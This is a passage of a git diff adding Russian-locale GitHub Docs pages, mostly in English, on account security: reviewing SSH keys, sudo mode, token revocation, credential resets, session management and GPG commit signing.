variables.product.product_name %} *should* match the same keys on your computer. + +{% endwindows %} + +{% linux %} + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.ssh %} +3. On the SSH Settings page, take note of the SSH keys associated with your account. For those that you don't recognize, or that are out-of-date, click **Delete**. If there are valid SSH keys you'd like to keep, click **Approve**. + ![SSH key list](/assets/images/help/settings/settings-ssh-key-review.png) + + {% tip %} + + **Note:** If you're auditing your SSH keys due to an unsuccessful Git operation, the unverified key that caused the [SSH key audit error](/articles/error-we-re-doing-an-ssh-key-audit) will be highlighted in the list of SSH keys. + + {% endtip %} + +4. Open Terminal. + +{% data reusables.command_line.start_ssh_agent %} + +6. Find and take a note of your public key fingerprint. + ```shell + $ ssh-add -l -E sha256 + > 2048 SHA256:274ffWxgaxq/tSINAykStUL7XWyRNcRTlcST1Ei7gBQ /Users/USERNAME/.ssh/id_rsa (RSA) + ``` + +7. The SSH keys on {% data variables.product.product_name %} *should* match the same keys on your computer. + +{% endlinux %} + +{% warning %} + +**Warning**: If you see an SSH key you're not familiar with on {% data variables.product.product_name %}, delete it immediately and contact {% data variables.contact.contact_support %} for further help. An unidentified public key may indicate a possible security concern. + +{% endwarning %} diff --git a/translations/ru-RU/content/authentication/keeping-your-account-and-data-secure/sudo-mode.md b/translations/ru-RU/content/authentication/keeping-your-account-and-data-secure/sudo-mode.md new file mode 100644 index 000000000000..25cebe2a8542 --- /dev/null +++ b/translations/ru-RU/content/authentication/keeping-your-account-and-data-secure/sudo-mode.md @@ -0,0 +1,93 @@ +--- +title: Sudo mode +intro: 'To confirm access to your account before you perform a potentially sensitive action, {% data variables.location.product_location %} prompts for authentication.' +redirect_from: + - /articles/sudo-mode + - /github/authenticating-to-github/sudo-mode + - /github/authenticating-to-github/keeping-your-account-and-data-secure/sudo-mode +versions: + fpt: '*' + ghes: '*' + ghec: '*' +miniTocMaxHeadingLevel: 3 +topics: + - Identity + - Access management +--- + +## About sudo mode + +To maintain the security of your account when you perform a potentially sensitive action on {% data variables.location.product_location %}, you must authenticate even though you're already signed in. For example, {% data variables.product.company_short %} considers the following actions sensitive because each action could allow a new person or system to access your account. + +- Modification of an associated email address +- Authorization of a third-party application +- Addition of a new SSH key + +After you authenticate to perform a sensitive action, your session is temporarily in "sudo mode." In sudo mode, you can perform sensitive actions without authentication. {% data variables.product.product_name %} will wait a few hours before prompting you for authentication again. During this time, any sensitive action that you perform will reset the timer. + +{% ifversion ghes %} + +{% note %} + +**Note**: If {% data variables.location.product_location %} uses an external authentication method like CAS or SAML SSO, you will not receive prompts to enter sudo mode. For more information, contact your site administrator. + +{% endnote %} + +{% endif %} + +"sudo" is a reference to a program on Unix systems, where the name is short for "**su**peruser **do**." For more information, see [sudo](https://wikipedia.org/wiki/Sudo) on Wikipedia. + +## Confirming access for sudo mode + +To confirm access for sudo mode, you {% ifversion totp-and-mobile-sudo-challenge %}can{% else %}must{% endif %} authenticate with your password.{% ifversion totp-and-mobile-sudo-challenge %} Optionally, you can use a different authentication method, like {% ifversion fpt or ghec %}a security key, {% data variables.product.prodname_mobile %}, or a 2FA code{% elsif ghes %}a security key or a 2FA code{% endif %}.{% endif %} + +{%- ifversion totp-and-mobile-sudo-challenge %} +- [Confirming access using a security key](#confirming-access-using-a-security-key) +{%- ifversion fpt or ghec %} +- [Confirming access using GitHub Mobile](#confirming-access-using-github-mobile) +{%- endif %} +- [Confirming access using a 2FA code](#confirming-access-using-a-2fa-code) +- [Confirming access using your password](#confirming-access-using-your-password) +{%- endif %} + +{% ifversion totp-and-mobile-sudo-challenge %} + +### Confirming access using a security key + +You must configure two-factor authentication (2FA) for your account using a security key to confirm access to your account for sudo mode using the security key. For more information, see "[Configuring two-factor authentication](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication#configuring-two-factor-authentication-using-a-security-key)." + +When prompted to authenticate for sudo mode, click **Use security key**, then follow the prompts. + +![Screenshot of security key option for sudo mode](/assets/images/help/settings/sudo_mode_prompt_security_key.png) + +{% ifversion fpt or ghec %} + +### Confirming access using {% data variables.product.prodname_mobile %} + +You must install and sign into {% data variables.product.prodname_mobile %} to confirm access to your account for sudo mode using the app. For more information, see "[{% data variables.product.prodname_mobile %}](/get-started/using-github/github-mobile)." + +1. When prompted to authenticate for sudo mode, click **Use GitHub Mobile**. + + ![Screenshot of {% data variables.product.prodname_mobile %} option for sudo mode](/assets/images/help/settings/sudo_mode_prompt_github_mobile_prompt.png) +1. Open {% data variables.product.prodname_mobile %}. {% data variables.product.prodname_mobile %} will display numbers that you must enter on {% data variables.location.product_location %} to approve the request. + + ![Screenshot of numbers from {% data variables.product.prodname_mobile %} to enter on {% data variables.product.product_name %} to approve sudo mode access](/assets/images/help/settings/sudo_mode_prompt_github_mobile.png) +1. On {% data variables.product.product_name %}, type the numbers displayed in {% data variables.product.prodname_mobile %}. + +{% endif %} + +### Confirming access using a 2FA code + +You must configure 2FA using a TOTP mobile app{% ifversion fpt or ghec %} or text messages{% endif %} to confirm access to your account for sudo mode using a 2FA code. For more information, see "[Configuring two-factor authentication](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication)." + +When prompted to authenticate for sudo mode, type the authentication code from your TOTP mobile app{% ifversion fpt or ghec %} or the text message{% endif %}, then click **Verify**. + +![Screenshot of 2FA code prompt for sudo mode](/assets/images/help/settings/sudo_mode_prompt_2fa_code.png) + +### Confirming access using your password + +{% endif %} + +When prompted to authenticate for sudo mode, type your password, then click **Confirm**. + +![Screenshot of password prompt for sudo mode](/assets/images/help/settings/sudo_mode_prompt_password.png) diff --git a/translations/ru-RU/content/authentication/keeping-your-account-and-data-secure/token-expiration-and-revocation.md b/translations/ru-RU/content/authentication/keeping-your-account-and-data-secure/token-expiration-and-revocation.md new file mode 100644 index 000000000000..4b4832b39c64 --- /dev/null +++ b/translations/ru-RU/content/authentication/keeping-your-account-and-data-secure/token-expiration-and-revocation.md @@ -0,0 +1,62 @@ +--- +title: Token expiration and revocation +intro: 'Your tokens can expire and can also be revoked by you, applications you have authorized, and {% data variables.product.product_name %} itself.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Identity + - Access management +shortTitle: Token expiration +redirect_from: + - /github/authenticating-to-github/keeping-your-account-and-data-secure/token-expiration-and-revocation +--- + +When a token has expired or has been revoked, it can no longer be used to authenticate Git and API requests. It is not possible to restore an expired or revoked token, you or the application will need to create a new token. + +This article explains the possible reasons your {% data variables.product.product_name %} token might be revoked or expire. + +{% note %} + +**Note:** When a {% data variables.product.pat_generic %} or OAuth token expires or is revoked, you may see an `oauth_authorization.destroy` action in your security log. For more information, see "[Reviewing your security log](/github/authenticating-to-github/keeping-your-account-and-data-secure/reviewing-your-security-log)." + +{% endnote %} + +## Token revoked after reaching its expiration date + +When you create a {% data variables.product.pat_generic %}, we recommend that you set an expiration for your token. Upon reaching your token's expiration date, the token is automatically revoked. For more information, see "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-personal-access-token)." + +{% ifversion fpt or ghec %} +## Token revoked when pushed to a public repository or public gist + +If a valid OAuth token, {% data variables.product.prodname_github_app %} token, or {% data variables.product.pat_generic %} is pushed to a public repository or public gist, the token will be automatically revoked. + +{% endif %} + +{% ifversion fpt or ghec %} +## Token expired due to lack of use + +{% data variables.product.product_name %} will automatically revoke an OAuth token or {% data variables.product.pat_generic %} when the token hasn't been used in one year. +{% endif %} + +## Token revoked by the user + +You can revoke your authorization of a {% data variables.product.prodname_github_app %} or {% data variables.product.prodname_oauth_app %} from your account settings which will revoke any tokens associated with the app. For more information, see "[Reviewing your authorized integrations](/github/authenticating-to-github/keeping-your-account-and-data-secure/reviewing-your-authorized-integrations)" and "[Reviewing your authorized applications (OAuth)](/github/authenticating-to-github/keeping-your-account-and-data-secure/reviewing-your-authorized-applications-oauth)." + +Once an authorization is revoked, any tokens associated with the authorization will be revoked as well. To re-authorize an application, follow the instructions from the third-party application or website to connect your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} again. + +## Token revoked by the {% data variables.product.prodname_oauth_app %} + +The owner of an {% data variables.product.prodname_oauth_app %} can revoke an account's authorization of their app, this will also revoke any tokens associated with the authorization. For more information about revoking authorizations of your OAuth app, see "[Delete an app authorization](/rest/reference/apps#delete-an-app-authorization)." + +{% data variables.product.prodname_oauth_app %} owners can also revoke individual tokens associated with an authorization. For more information about revoking individual tokens for your OAuth app, see "[Delete an app token](/rest/apps/oauth-applications#delete-an-app-token)". + +## Token revoked due to excess of tokens for an {% data variables.product.prodname_oauth_app %} with the same scope + +{% data reusables.apps.oauth-token-limit %} + +## User token revoked due to {% data variables.product.prodname_github_app %} configuration + +User-to-server tokens created by a {% data variables.product.prodname_github_app %} will expire after eight hours by default. Owners of {% data variables.product.prodname_github_apps %} can configure their apps so that user-to-server tokens do not expire. For more information about changing how your {% data variables.product.prodname_dotcom %} App's user-to-server tokens behave, see "[Activating optional features for apps](/developers/apps/getting-started-with-apps/activating-optional-features-for-apps)." diff --git a/translations/ru-RU/content/authentication/keeping-your-account-and-data-secure/updating-your-github-access-credentials.md b/translations/ru-RU/content/authentication/keeping-your-account-and-data-secure/updating-your-github-access-credentials.md new file mode 100644 index 000000000000..12e35114b2c7 --- /dev/null +++ b/translations/ru-RU/content/authentication/keeping-your-account-and-data-secure/updating-your-github-access-credentials.md @@ -0,0 +1,88 @@ +--- +title: Updating your GitHub access credentials +intro: '{% data variables.product.product_name %} credentials include{% ifversion not ghae %} not only your password, but also{% endif %} the access tokens, SSH keys, and application API tokens you use to communicate with {% data variables.product.product_name %}. Should you have the need, you can reset all of these access credentials yourself.' +redirect_from: + - /articles/rolling-your-credentials + - /articles/how-can-i-reset-my-password + - /articles/updating-your-github-access-credentials + - /github/authenticating-to-github/updating-your-github-access-credentials + - /github/authenticating-to-github/keeping-your-account-and-data-secure/updating-your-github-access-credentials +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Identity + - Access management +shortTitle: Update access credentials +--- +{% ifversion not ghae %} +## Requesting a new password + +1. To request a new password, visit {% ifversion fpt or ghec %}https://{% data variables.product.product_url %}/password_reset{% else %}`https://{% data variables.product.product_url %}/password_reset`{% endif %}. +2. Enter the email address associated with your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}, then click **Send password reset email.** The email will be sent to the backup email address if you have one configured. + ![Password reset email request dialog](/assets/images/help/settings/password-recovery-email-request.png) +3. We'll email you a link that will allow you to reset your password. You must click on this link within 3 hours of receiving the email. If you didn't receive an email from us, make sure to check your spam folder. +4. If you have enabled two-factor authentication, you will be prompted for your 2FA credentials: +{% ifversion fpt or ghec %} + * If you have {% data variables.product.prodname_mobile %}, you will be sent a push notification to verify your identity. Open the push notification or the {% data variables.product.prodname_mobile %} app and enter the two-digit code shown to you on the password reset page in your browser. + ![Two-factor {% data variables.product.prodname_mobile %} authentication prompt](/assets/images/help/2fa/2fa-mobile-challenge-password-reset.png) + * To skip using GitHub Mobile to verify, click **Enter two-factor authentication or recovery code**. + ![Two-factor GitHub Mobile authentication prompt on {% data variables.product.product_name %} with "Enter two-factor authentication or recovery code" highlighted](/assets/images/help/2fa/2fa-github-mobile-password-reset.png) +{% endif %} + * Type your authentication code or one of your recovery codes and click **Verify**. + ![Two-factor authentication prompt](/assets/images/help/2fa/2fa-password-reset.png) + * If you have added a security key to your account, click **Use security key** instead of typing an authentication code. + {% ifversion fpt or ghec %} + * If you have set up [{% data variables.product.prodname_mobile %}](https://github.com/mobile), click **Authenticate with GitHub Mobile** instead. + {% endif %} +5. Type a new password, confirm your new password, and click **Change password**. For help creating a strong password, see "[Creating a strong password](/articles/creating-a-strong-password)." + {% ifversion fpt or ghec %}![Password recovery box](/assets/images/help/settings/password-recovery-page.png){% else %} + ![Password recovery box](/assets/images/enterprise/settings/password-recovery-page.png){% endif %} + +{% tip %} + +To avoid losing your password in the future, we suggest using a secure password manager, like [LastPass](https://lastpass.com/) or [1Password](https://1password.com/). + +{% endtip %} + +## Changing an existing password + +{% data reusables.repositories.blocked-passwords %} + +1. {% data variables.product.signin_link %} to {% data variables.product.product_name %}. +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.security %} +4. Under "Change password", type your old password, a strong new password, and confirm your new password. For help creating a strong password, see "[Creating a strong password](/articles/creating-a-strong-password)" +5. Click **Update password**. + +{% tip %} + +For greater security, enable two-factor authentication in addition to changing your password. See [About two-factor authentication](/articles/about-two-factor-authentication) for more details. + +{% endtip %} +{% endif %} +## Updating your access tokens + +See "[Reviewing your authorized integrations](/articles/reviewing-your-authorized-integrations)" for instructions on reviewing and deleting access tokens. To generate new access tokens, see "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)." + +{% ifversion not ghae %} + +If you have reset your account password and would also like to trigger a sign-out from the {% data variables.product.prodname_mobile %} app, you can revoke your authorization of the "GitHub iOS" or "GitHub Android" OAuth App. This will sign out all instances of the {% data variables.product.prodname_mobile %} app associated with your account. For additional information, see "[Reviewing your authorized integrations](/authentication/keeping-your-account-and-data-secure/reviewing-your-authorized-integrations)." + +{% endif %} + +## Updating your SSH keys + +See "[Reviewing your SSH keys](/articles/reviewing-your-ssh-keys)" for instructions on reviewing and deleting SSH keys. To generate and add new SSH keys, see "[Generating an SSH key](/articles/generating-an-ssh-key)." + +## Resetting API tokens + +If you have any applications registered with {% data variables.product.product_name %}, you'll want to reset their OAuth tokens. For more information, see the "[Reset an authorization](/rest/reference/apps#reset-an-authorization)" endpoint. + +{% ifversion not ghae %} +## Preventing unauthorized access + +For more tips on securing your account and preventing unauthorized access, see "[Preventing unauthorized access](/articles/preventing-unauthorized-access)." +{% endif %} diff --git a/translations/ru-RU/content/authentication/keeping-your-account-and-data-secure/viewing-and-managing-your-sessions.md b/translations/ru-RU/content/authentication/keeping-your-account-and-data-secure/viewing-and-managing-your-sessions.md new file mode 100644 index 000000000000..9939bdde1816 --- /dev/null +++ b/translations/ru-RU/content/authentication/keeping-your-account-and-data-secure/viewing-and-managing-your-sessions.md @@ -0,0 +1,46 @@ +--- +title: Просмотр сеансов и управление ими +intro: Вы можете просматривать и отзывать активные сеансы в параметрах. +versions: + feature: device-and-settings-management-page +type: how_to +topics: + - SSO +shortTitle: Viewing and managing sessions +ms.openlocfilehash: 15a0bdc17a913ceb6da27e8809610306adb1de25 +ms.sourcegitcommit: b2e5d14036a700b781e91158a552f8c0b1f04839 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/15/2022 +ms.locfileid: '148165588' +--- +Вы можете просмотреть список устройств, которые вошли в вашу учетную запись, и отменить все сеансы, которые вы не распознаете. + +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.sessions %} +1. В разделе "Веб-сеансы" отображаются активные веб-сеансы. + + ![Снимок экрана: список активных сеансов](/assets/images/help/settings/saml-active-sessions.png) {% ifversion fpt or ghec %} В разделе "{% data variables.product.prodname_mobile %} сеансов" можно просмотреть список устройств, которые вошли в вашу учетную запись с помощью приложения {% data variables.product.prodname_mobile %}. + + ![Снимок экрана: список активных сеансов](/assets/images/help/settings/github-mobile-active-sessions.png){% endif %} + +1. Чтобы просмотреть сведения о веб-сеансе, нажмите кнопку **Дополнительные сведения**. + + ![Снимок экрана: страница "Сеансы" с кнопкой для открытия сведений о сеансе](/assets/images/help/settings/saml-expand-session-details.png) + +1. Чтобы отозвать веб-сеанс, нажмите кнопку **Отозвать сеанс**. + + ![Снимок экрана: страница сведений о сеансах с кнопкой для отмены сеанса](/assets/images/help/settings/revoke-session.png) + +{% ifversion fpt or ghec %} +1. При необходимости, чтобы отозвать сеанс {% data variables.product.prodname_mobile %}, вернитесь на страницу Обзор сеансов и нажмите кнопку **Отозвать** рядом с устройством, которое требуется отозвать. + + {% note %} + + **Примечание:** При отзыве мобильного сеанса вы выходите из приложения {% data variables.product.prodname_mobile %} на этом устройстве и удаляете его как параметр второго фактора. + + {% endnote %} + + ![Снимок экрана: страница "Сеансы" с кнопкой отмены мобильного сеанса](/assets/images/help/settings/revoke-mobile-session.png) + +{% endif %} + diff --git a/translations/ru-RU/content/authentication/managing-commit-signature-verification/about-commit-signature-verification.md b/translations/ru-RU/content/authentication/managing-commit-signature-verification/about-commit-signature-verification.md new file mode 100644 index 000000000000..2d6fd102a0af --- /dev/null +++ b/translations/ru-RU/content/authentication/managing-commit-signature-verification/about-commit-signature-verification.md @@ -0,0 +1,135 @@ +--- +title: About commit signature verification +intro: 'Using GPG{% ifversion ssh-commit-verification %}, SSH,{% endif %} or S/MIME, you can sign tags and commits locally. These tags or commits are marked as verified on {% data variables.product.product_name %} so other people can be confident that the changes come from a trusted source.' +redirect_from: + - /articles/about-gpg-commit-and-tag-signatures + - /articles/about-gpg + - /articles/about-commit-signature-verification + - /github/authenticating-to-github/about-commit-signature-verification + - /github/authenticating-to-github/managing-commit-signature-verification/about-commit-signature-verification +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Identity + - Access management +shortTitle: Commit signature verification +--- +## About commit signature verification + +You can sign commits and tags locally, to give other people confidence about the origin of a change you have made. If a commit or tag has a GPG{% ifversion ssh-commit-verification %}, SSH,{% endif %} or S/MIME signature that is cryptographically verifiable, {% data variables.product.product_name %} marks the commit or tag {% ifversion fpt or ghec %}"Verified" or "Partially verified."{% else %}"Verified."{% endif %} + +![Verified commit](/assets/images/help/commits/verified-commit.png) + +{% ifversion ghes or ghae %} +If a commit or tag has a signature that can't be verified, {% data variables.product.product_name %} marks the commit or tag "Unverified." +{% endif %} + +{% ifversion ssh-commit-verification %} +For most individual users, GPG or SSH will be the best choice for signing commits. S/MIME signatures are usually required in the context of a larger organization. SSH signatures are the simplest to generate. You can even upload your existing authentication key to {% data variables.product.product_name %} to also use as a signing key. Generating a GPG signing key is more involved than generating an SSH key, but GPG has features that SSH does not. A GPG key can expire or be revoked when no longer used. {% data variables.product.product_name %} shows commits that were signed with such a key as "Verified" unless the key was marked as compromised. SSH keys don't have this capability. +{% endif %} + +{% ifversion fpt or ghec %} +Commits and tags have the following verification statuses, depending on whether you have enabled vigilant mode. By default vigilant mode is not enabled. For information on how to enable vigilant mode, see "[Displaying verification statuses for all of your commits](/github/authenticating-to-github/displaying-verification-statuses-for-all-of-your-commits)." + +{% data reusables.identity-and-permissions.vigilant-mode-beta-note %} + +Signing commits differs from signing off on a commit. For more information about signing off on commits, see "[Managing the commit signoff policy for your repository](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-commit-signoff-policy-for-your-repository)." + +### Default statuses + +| Status | Description | +| -------------- | ----------- | +| **Verified** | The commit is signed and the signature was successfully verified. +| **Unverified** | The commit is signed but the signature could not be verified. +| No verification status | The commit is not signed. + +### Signature verification for rebase and merge +{% data reusables.pull_requests.rebase_and_merge_verification %} + +For more information, see "[Rebasing and merging your commits](/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/about-merge-methods-on-github#rebasing-and-merging-your-commits)." + +### Statuses with vigilant mode enabled + +{% data reusables.identity-and-permissions.vigilant-mode-verification-statuses %} + +{% endif %} + + +Repository administrators can enforce required commit signing on a branch to block all commits that are not signed and verified. For more information, see "[About protected branches](/github/administering-a-repository/about-protected-branches#require-signed-commits)." + +{% data reusables.identity-and-permissions.verification-status-check %} + +{% ifversion fpt or ghec or ghes > 3.4 %} +{% ifversion ghes %}If a site administrator has enabled web commit signing, {% data variables.product.product_name %} will automatically use GPG to sign commits you make using the web interface. Commits signed by {% data variables.product.product_name %} will have a verified status. You can verify the signature locally using the public key available at `https://HOSTNAME/web-flow.gpg`. For more information, see "[Configuring web commit signing](/admin/configuration/configuring-your-enterprise/configuring-web-commit-signing)." +{% else %}{% data variables.product.prodname_dotcom %} will automatically use GPG to sign commits you make using the web interface. Commits signed by {% data variables.product.prodname_dotcom %} will have a verified status. You can verify the signature locally using the public key available at https://github.com/web-flow.gpg. The full fingerprint of the key is `5DE3 E050 9C47 EA3C F04A 42D3 4AEE 18F8 3AFD EB23`. + +You can optionally choose to have {% data variables.product.prodname_dotcom %} GPG sign commits you make in {% data variables.product.prodname_github_codespaces %}. For more information about enabling GPG verification for your codespaces, see "[Managing GPG verification for {% data variables.product.prodname_github_codespaces %}](/codespaces/managing-your-codespaces/managing-gpg-verification-for-github-codespaces)."{% endif %} +{% endif %} + +## GPG commit signature verification + +You can use GPG to sign commits with a GPG key that you generate yourself. + +{% data variables.product.product_name %} uses OpenPGP libraries to confirm that your locally signed commits and tags are cryptographically verifiable against a public key you have added to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}. + +To sign commits using GPG and have those commits verified on {% data variables.product.product_name %}, follow these steps: + +1. [Check for existing GPG keys](/articles/checking-for-existing-gpg-keys) +2. [Generate a new GPG key](/articles/generating-a-new-gpg-key) +3. [Add a GPG key to your GitHub account](/articles/adding-a-gpg-key-to-your-github-account) +4. [Tell Git about your signing key](/articles/telling-git-about-your-signing-key) +5. [Sign commits](/articles/signing-commits) +6. [Sign tags](/articles/signing-tags) + +{% ifversion ssh-commit-verification %} +## SSH commit signature verification + +You can use SSH to sign commits with an SSH key that you generate yourself. For more information, see the [Git reference documentation](https://git-scm.com/docs/git-config#Documentation/git-config.txt-usersigningKey) for `user.Signingkey`. If you already use an SSH key to authenticate with {% data variables.product.product_name %}, +you can also upload that same key again for use as a signing key. There's no limit on the number of signing keys you can add to your account. + +{% data variables.product.product_name %} uses [ssh_data](https://github.com/github/ssh_data), an open source Ruby library, to confirm that your locally signed commits and tags are cryptographically verifiable against a public key you have added to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}. + +{% data reusables.gpg.ssh-git-version %} + +To sign commits using SSH and have those commits verified on {% data variables.product.product_name %}, follow these steps: + +1. [Check for existing SSH keys](/articles/checking-for-existing-ssh-keys) +2. [Generate a new SSH key](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent) +3. [Add a SSH signing key to your GitHub account](/articles/adding-a-new-ssh-key-to-your-github-account) +4. [Tell Git about your signing key](/articles/telling-git-about-your-signing-key) +5. [Sign commits](/articles/signing-commits) +6. [Sign tags](/articles/signing-tags) + +{% endif %} +## S/MIME commit signature verification + +You can use S/MIME to sign commits with an X.509 key issued by your organization. + +{% data variables.product.product_name %} uses [the Debian ca-certificates package](https://packages.debian.org/bullseye/ca-certificates), the same trust store used by Mozilla browsers, to confirm that your locally signed commits and tags are cryptographically verifiable against a public key in a trusted root certificate. + +{% data reusables.gpg.smime-git-version %} + +To sign commits using S/MIME and have those commits verified on {% data variables.product.product_name %}, follow these steps: + +1. [Tell Git about your signing key](/articles/telling-git-about-your-signing-key) +2. [Sign commits](/articles/signing-commits) +3. [Sign tags](/articles/signing-tags) + +You don't need to upload your public key to {% data variables.product.product_name %}. + +{% ifversion fpt or ghec %} +## Signature verification for bots + +Organizations and {% data variables.product.prodname_github_apps %} that require commit signing can use bots to sign commits. If a commit or tag has a bot signature that is cryptographically verifiable, {% data variables.product.product_name %} marks the commit or tag as verified. + +Signature verification for bots will only work if the request is verified and authenticated as the {% data variables.product.prodname_github_app %} or bot and contains no custom author information, custom committer information, and no custom signature information, such as Commits API. +{% endif %} + +## Further reading + +- "[Signing commits](/articles/signing-commits)" +- "[Signing tags](/articles/signing-tags)" +- "[Troubleshooting commit signature verification](/articles/troubleshooting-commit-signature-verification)" diff --git a/translations/ru-RU/content/authentication/managing-commit-signature-verification/adding-a-gpg-key-to-your-github-account.md b/translations/ru-RU/content/authentication/managing-commit-signature-verification/adding-a-gpg-key-to-your-github-account.md new file mode 100644 index 000000000000..febbc304fae2 --- /dev/null +++ b/translations/ru-RU/content/authentication/managing-commit-signature-verification/adding-a-gpg-key-to-your-github-account.md @@ -0,0 +1,72 @@ +--- +title: Adding a GPG key to your GitHub account +intro: 'To configure your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} to use your new (or existing) GPG key, you''ll also need the key to your account.' +redirect_from: + - /articles/adding-a-gpg-key-to-your-github-account + - /github/authenticating-to-github/adding-a-new-gpg-key-to-your-github-account + - /github/authenticating-to-github/managing-commit-signature-verification/adding-a-new-gpg-key-to-your-github-account + - /articles/updating-an-expired-gpg-key + - /authentication/troubleshooting-commit-signature-verification/updating-an-expired-gpg-key + - /github/authenticating-to-github/updating-an-expired-gpg-key + - /github/authenticating-to-github/troubleshooting-commit-signature-verification/updating-an-expired-gpg-key + - /authentication/managing-commit-signature-verification/adding-a-new-gpg-key-to-your-github-account +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Identity + - Access management +shortTitle: Add a GPG key +--- + +## About addition of GPG keys to your account + +To sign commits associated with your account on {% data variables.product.product_name %}, you can add a public GPG key to your personal account. Before you add a key, you should check for existing keys. If you don't find any existing keys, you can generate and copy a new key. For more information, see "[Checking for existing GPG keys](/articles/checking-for-existing-gpg-keys)" and "[Generating a new GPG key](/articles/generating-a-new-gpg-key)." + +You can add multiple public keys to your account on {% data variables.product.product_name %}. Commits signed by any of the corresponding private keys will show as verified. If you remove a public key, any commits signed by the corresponding private key will no longer show as verified. + +{% ifversion upload-expired-or-revoked-gpg-key %} +To verify as many of your commits as possible, you can add expired and revoked keys. If the key meets all other verification requirements, commits that were previously signed by any of the corresponding private keys will show as verified and indicate that their signing key is expired or revoked. + +![A verified commit whose key expired](/assets/images/help/settings/gpg-verified-with-expired-key.png) +{% endif %} + +{% data reusables.gpg.supported-gpg-key-algorithms %} + +When verifying a signature, {% data variables.product.product_name %} extracts the signature and attempts to parse its key ID. The key ID is then matched with keys added to {% data variables.product.product_name %}. Until a matching GPG key is added to {% data variables.product.product_name %}, it cannot verify your signatures. + +## Adding a GPG key + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.ssh %} +3. Click **New GPG key**. + ![GPG Key button](/assets/images/help/settings/gpg-add-gpg-key.png) +4. In the "Key" field, paste the GPG key you copied when you [generated your GPG key](/articles/generating-a-new-gpg-key). + ![The key field](/assets/images/help/settings/gpg-key-paste.png) +5. Click **Add GPG key**. + ![The Add key button](/assets/images/help/settings/gpg-add-key.png) +6. To confirm the action, enter your {% data variables.product.product_name %} password. + +{% ifversion upload-expired-or-revoked-gpg-key %} +{% else %} +## Updating an expired GPG key + +When verifying a signature, {% data variables.product.product_name %} checks that the key is not revoked or expired. If your signing key is revoked or expired, {% data variables.product.product_name %} cannot verify your signatures. + +If your key is expired, you must [update its expiration](https://www.gnupg.org/gph/en/manual.html#AEN329), export the new key, delete the expired key in your account on {% data variables.product.product_name %}, and add the new key to your account as described above. Your previous commits and tags will show as verified, as long as the key meets all other verification requirements. + +If your key is revoked, use the primary key or another key that is not revoked to sign your commits. + +If your key is invalid and you don't use another valid key in your key set, but instead generate a new GPG key with a new set of credentials, then your commits made with the revoked or expired key will continue to show as unverified. Also, your new credentials will not be able to re-sign or verify your old commits and tags. +{% endif %} + +## Further reading + +- "[Checking for existing GPG keys](/articles/checking-for-existing-gpg-keys)" +- "[Generating a new GPG key](/articles/generating-a-new-gpg-key)" +- "[Telling Git about your signing key](/articles/telling-git-about-your-signing-key)" +- "[Associating an email with your GPG key](/articles/associating-an-email-with-your-gpg-key)" +- "[Signing commits and tags using GPG keys](/articles/signing-commits-and-tags-using-gpg)" +- "[About commit signature verification](/articles/about-commit-signature-verification)" diff --git a/translations/ru-RU/content/authentication/managing-commit-signature-verification/associating-an-email-with-your-gpg-key.md b/translations/ru-RU/content/authentication/managing-commit-signature-verification/associating-an-email-with-your-gpg-key.md new file mode 100644 index 000000000000..3c92549eb7b7 --- /dev/null +++ b/translations/ru-RU/content/authentication/managing-commit-signature-verification/associating-an-email-with-your-gpg-key.md @@ -0,0 +1,62 @@ +--- +title: Associating an email with your GPG key +intro: 'Your GPG key must be associated with a {% data variables.product.product_name %} verified email that matches your committer identity.' +redirect_from: + - /articles/associating-an-email-with-your-gpg-key + - /github/authenticating-to-github/associating-an-email-with-your-gpg-key + - /github/authenticating-to-github/managing-commit-signature-verification/associating-an-email-with-your-gpg-key +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Identity + - Access management +shortTitle: Associate email with GPG key +--- +{% note %} + +If you're using a GPG key that matches your committer identity and your verified email address associated with your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}, then you can begin signing commits and signing tags. + +{% endnote %} + +{% data reusables.command_line.open_the_multi_os_terminal %} +{% data reusables.gpg.list-keys-with-note %} +{% data reusables.gpg.copy-gpg-key-id %} +4. Enter `gpg --edit-key GPG key ID`, substituting in the GPG key ID you'd like to use. In the following example, the GPG key ID is `3AA5C34371567BD2`: + ```shell + $ gpg --edit-key 3AA5C34371567BD2 + ``` +5. Enter `gpg> adduid` to add the user ID details. + ```shell + $ gpg> adduid + ``` +6. Follow the prompts to supply your real name, email address, and any comments. You can modify your entries by choosing `N`, `C`, or `E`. {% data reusables.gpg.private-email %} {% ifversion fpt or ghec %} For more information, see "[Setting your commit email address](/articles/setting-your-commit-email-address)."{% endif %} + ```shell + Real Name: OCTOCAT + Email address: "octocat@github.com" + Comment: GITHUB-KEY + Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? + ``` +7. Enter `O` to confirm your selections. +8. Enter your key's passphrase. +9. Enter `gpg> save` to save the changes + ```shell + $ gpg> save + ``` +10. Enter `gpg --armor --export GPG key ID`, substituting in the GPG key ID you'd like to use. In the following example, the GPG key ID is 